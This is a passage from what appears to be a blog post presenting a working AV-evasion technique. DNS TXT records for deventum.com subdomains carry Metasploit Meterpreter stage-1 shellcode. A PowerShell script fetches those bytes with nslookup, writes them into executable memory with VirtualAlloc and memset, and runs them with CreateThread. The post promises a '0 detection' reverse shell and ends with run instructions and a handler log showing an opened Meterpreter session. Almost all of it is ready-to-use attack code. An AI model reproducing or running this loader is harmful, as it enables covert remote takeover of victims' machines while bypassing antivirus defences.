   7: f.deventum.com.          IN TXT  ",0xff,0xd5,0x31,0xff,0x57,0x57,0x57,0x57,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1a,0x4b,0x74,0x10,0xeb,0xd5,0xeb,0x49,0xe8,0xb3,0xff,0xff,0xff,0x2f,0x5a,0x62,0x69,0x37,0x00,0x00,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x40,0x68,0x00"
   8: g.deventum.com.          IN TXT  ",0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x57,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcd,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3"
   9: h.deventum.com.          IN TXT  ",0xe8,0x51,0xff,0xff,0xff,0x31,0x37,0x38,0x2e,0x33,0x32,0x2e,0x37,0x32,0x2e,0x31,0x39,0x34,0x00"

and finally the powershell script to call the records:



   1: <#
   2: Powershell for DNS based meterpreter payload 
   3: This script will load in memory the first stage of metasploit meterpreter that exists in txt record .
   4: The second stage will be transferred and executed in memory with 0 detection from the antivirus engines.
   5: Author: Nicolas Krassas
   6: Inspired by corelanc0d3r dns based shellcode and Matthew Graeber
   7: #>
   8:  
   9: # Functions for creating a thread
  10: $code = @"
  11: [DllImport("kernel32.dll")]
  12: public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
  13: [DllImport("kernel32.dll")]
  14: public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
  15: [DllImport("msvcrt.dll")]
  16: public static extern IntPtr memset(IntPtr dest, uint src, uint count);
  17: "@
  18:  
  19: function Convert-HexStringToByteArray {
  20: ################################################################
  21: #.Synopsis
  22: # Convert a string of hex data into a System.Byte[] array. An
  23: # array is always returned, even if it contains only one byte.
  24: #.Parameter String
  25: # A string containing hex data in any of a variety of formats,
  26: # including strings like the following, with or without extra
  27: # tabs, spaces, quotes or other non-hex characters:
  28: # 0x41,0x42,0x43,0x44
  29: # \x41\x42\x43\x44
  30: # 41-42-43-44
  31: # 41424344
  32: # The string can be piped into the function too.
  33: # http://www.sans.org/windows-security/2010/02/11/powershell-byte-array-hex-convert
  34: ################################################################
  35: [CmdletBinding()]
  36: Param ( [Parameter(Mandatory = $True, ValueFromPipeline = $True)] [String] $String )
  37:  
  38: #Clean out whitespaces and any other non-hex crud.
  39: $String = $String.ToLower() -replace '[^a-f0-9\\\,x\-\:]',''
  40:  
  41:  
  42: #Try to put into canonical colon-delimited format.
  43: $String = $String -replace '0x|\\x|\-|,',':'
  44:  
  45:  
  46: #Remove beginning and ending colons, and other detritus.
  47: $String = $String -replace '^:+|:+$|x|\\',''
  48:  
  49:  
  50: #Maybe there's nothing left over to convert...
  51: if ($String.Length -eq 0) { ,@() ; return } 
  52:  
  53:  
  54: #Split string with or without colon delimiters.
  55: if ($String.Length -eq 1)
  56: { ,@([System.Convert]::ToByte($String,16)) }
  57: elseif (($String.Length % 2 -eq 0) -and ($String.IndexOf(":") -eq -1))
  58: { ,@($String -split '([a-f0-9]{2})' | foreach-object { if ($_) {[System.Convert]::ToByte($_,16)}}) }
  59: elseif ($String.IndexOf(":") -ne -1)
  60: { ,@($String -split ':+' | foreach-object {[System.Convert]::ToByte($_,16)}) }
  61: else
  62: { ,@() }
  63: #The strange ",@(...)" syntax is needed to force the output into an
  64: #array even if there is only one element in the output (or none).
  65: }
  66:  
  67: function GetShellCode($hostname)
  68:     {
  69:     $result = iex "cmd.exe /c `"nslookup  -querytype=txt -timeout=5 $hostname 2> NUL`""
  70:     $shellarray = ""
  71:     foreach ($line in $result)
  72:         {
  73:         $line=$line.trim()
  74:         if ($line.contains("`""))
  75:             {$shellarray = $line.split("`"")[1].trim()}
  76:         }
  77:     "$shellarray"
  78:     }
  79: "Got the shellcode from txt records"
  80: # My txt records you better not use them, or you may see me in your system :)
  81:  
  82: $shellpart1 = GetShellCode "a.deventum.com" 
  83: $shellpart2 = GetShellCode "b.deventum.com"
  84: $shellpart3 = GetShellCode "c.deventum.com"
  85: $shellpart4 = GetShellCode "d.deventum.com"
  86: $shellpart5 = GetShellCode "e.deventum.com"
  87: $shellpart6 = GetShellCode "f.deventum.com"
  88: $shellpart7 = GetShellCode "g.deventum.com"
  89: $shellpart8 = GetShellCode "h.deventum.com"
  90:  
  91: $myshell = " $shellpart1$shellpart2$shellpart3$shellpart4$shellpart5$shellpart6$shellpart7$shellpart8 "
  92:  
  93: # Thread control
  94: $winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru
  95:  
  96: # msf meterpreter stage 1, this one must be converted to proper byte array first.
  97: [Byte[]]$sc =   Convert-HexStringToByteArray($myshell) 
  98:  
  99: # Calculate correct size param for VirtualAlloc
 100: $size = 0x1000
 101: if ($sc.Length -gt 0x1000) {$size = $sc.Length}
 102:  
 103: # Allocate memory 
 104: $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
 105:  
 106: # build it in memory
 107: for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}
 108: Try {
 109:         $winFunc::CreateThread(0,0,$x,0,0,0)
 110:         sleep 100000
 111:     }
 112: Catch
 113:  {
 114:   [system.exception]
 115:   "caught a system exception"
 116:  }

Make sure the metasploit server is running with multi/handler and call the script from within powershell with: & .\Desktop\powershellcode1.ps1 .


Enjoy a 0 detection metasploit shell.


[*] Started HTTPS reverse handler on https://178.32.xxx.xxx:8443/
[*] Exploit running as background job.
[*] Starting the payload handler...
[*] 94.68.xxx.xxx:27789 Request received for /Zbi7...
[*] 94.68.xxx.xxx:27789 Staging connection for target /Zbi7 received...
[*] Patched transport at offset 486516...
[*] Patched URL at offset 486248...
[*] Patched Expiration Timeout at offset 641856...
[*] Patched Communication Timeout at offset 641860...
[*] Meterpreter session 4 opened (178.32.xxx.xxx:8443 -> 94.68.xxx.xxx:27789) at Wed Apr 11 13:16:17 +0300 2012


msf  exploit(handler) >